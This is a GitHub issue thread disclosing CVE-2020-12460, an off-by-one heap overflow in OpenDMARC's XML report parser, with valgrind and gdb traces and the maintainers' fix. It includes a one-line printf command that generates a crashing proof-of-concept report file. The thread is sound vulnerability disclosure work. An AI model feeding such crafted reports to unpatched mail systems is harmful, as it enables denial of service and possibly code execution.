New issue Jump to bottom

Memory corruption in opendmarc_xml() #64

Closed **pjlantz** opened this issue on Jul 25, 2020 · 5 comments

Assignees

Labels bug CVE-security-issue

pjlantz commented on Jul 25, 2020 • edited

There is a memory corruption vulnerability in `opendmarc_xml()` of libopendmarc during parsing of DMARC aggregate reports. The versions affected by this seem to be OpenDMARC through 1.3.2 and 1.4.x through 1.4.0-Beta1.

The root cause is improper null termination. The function opendmarc_xml_parse() does not explicitly add a null terminator ('\0') to the buffer holding the XML data after reading the contents from a report file. This can cause an off-by-one error in opendmarc_xml() in certain cases depending on the report file, resulting in a one-byte heap overflow.

A null byte write occurs during the parsing at opendmarc_xml.c:171, `*sp = '\0'` . Eventually, during parsing of a specially crafted report, this null byte will overflow to the next chunk on the heap, overwriting the heap metadata, as indicated by the following valgrind output.

```
==4014== Invalid write of size 1
==4014==    at 0x401223: opendmarc_xml (opendmarc_xml.c:171)
==4014==    by 0x4020DC: opendmarc_xml_parse (opendmarc_xml.c:614)
==4014==    by 0x400D23: main (in /home/peppe/Downloads/test)
==4014==  Address 0x5204478 is 0 bytes after a block of size 1,080 alloc'd
==4014==    at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==4014==    by 0x402070: opendmarc_xml_parse (opendmarc_xml.c:575)
==4014==    by 0x400D23: main (in /home/peppe/Downloads/test)
```

The size field and the least significant bits used as flags are overwritten in the metadata. The relevant flag for this vulnerability is the bit indicating 'previous chunk in use', known as PREV_INUSE which will be set to zero and determines if the previous chunk (storing bufp) is free. When the buffer is later free'd at opendmarc_xml.c:616, `(void) free(bufp)` - a crash occurs as `bufp` is listed as not used.

```
(gdb) run poc.xml
Starting program: /home/peppe/Downloads/test poc.xml
*** Error in `/home/peppe/Downloads/test': double free or corruption (!prev): 0x0000000000605010 ***
.
.
Program received signal SIGABRT, Aborted.
0x00007ffff7a42428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff7a42428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff7a4402a in __GI_abort () at abort.c:89
#2  0x00007ffff7a847ea in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7ffff7b9ded8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff7a8d37a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff7b9e008 "double free or corruption (!prev)", action=3) at malloc.c:5006
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3867
#5  0x00007ffff7a9153c in __GI___libc_free (mem=<optimized out>) at malloc.c:2968
#6  0x00000000004020e8 in opendmarc_xml_parse (fname=<optimized out>, err_buf=0x7fffffffdcd0 "", err_len=256) at opendmarc_xml.c:616
#7  0x0000000000400d24 in main ()
(gdb) frame 6
#6  0x00000000004020e8 in opendmarc_xml_parse (fname=<optimized out>, err_buf=0x7fffffffdcd0 "", err_len=256) at opendmarc_xml.c:616
616             (void) free(bufp);
(gdb) p bufp
$1 = 0x605010 "<feedback"
(gdb)
```

A remote attacker could provide a specially crafted report that is parsed by this library, causing a denial of service. It could possibly lead to code execution depending on how libopendmarc is used and integrated into the application, in particular if the opendmarc_xml function is used explicitly without calling opendmarc_xml_parse and with input that is not null-terminated.

A DMARC aggregate report that triggers this vulnerability can be generated using the following commands:

```
printf '<feedback></feedback>' > poc.xml; printf 'A%.0s' {1..1053} >> poc.xml; printf '<begin' >> poc.xml
```

martinbogo assigned **AntiFreeze**, **martinbogo** and **mskucherawy** on Jul 25, 2020

martinbogo added bug security-issue labels on Jul 25, 2020

martinbogo commented on Jul 25, 2020 Contributor

Patrick,

Thank you for the vuln report! I'll push "pause" on the release I'm working on and check this bug. **@mskucherawy** will as well.

carnil commented on Jul 28, 2020

This issue appears to have been assigned CVE-2020-12460.

martinbogo added CVE-security-issue and removed security-issue labels on Jul 29, 2020

martinbogo commented on Jul 29, 2020 Contributor

Upgrading to a CVE tag.
…

mskucherawy commented on Sep 10, 2020 Member

I believe this is resolved by `50d28af` , which is on the "develop" branch.

mskucherawy closed this as completed on Sep 10, 2020

glts commented on Sep 20, 2020 • edited Contributor

Hello, I would like to get the fix for this into Debian.

I need to reproduce and test the fix, so if anyone already has a quick reproduction program, that would make the job much easier. Thank you.

edit: I see now that just creating a C program that calls `opendmarc_xml_parse` with the poc.xml file above is enough to trigger the bug.

Assignees

AntiFreeze

martinbogo

mskucherawy

Labels

bug CVE-security-issue

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

6 participants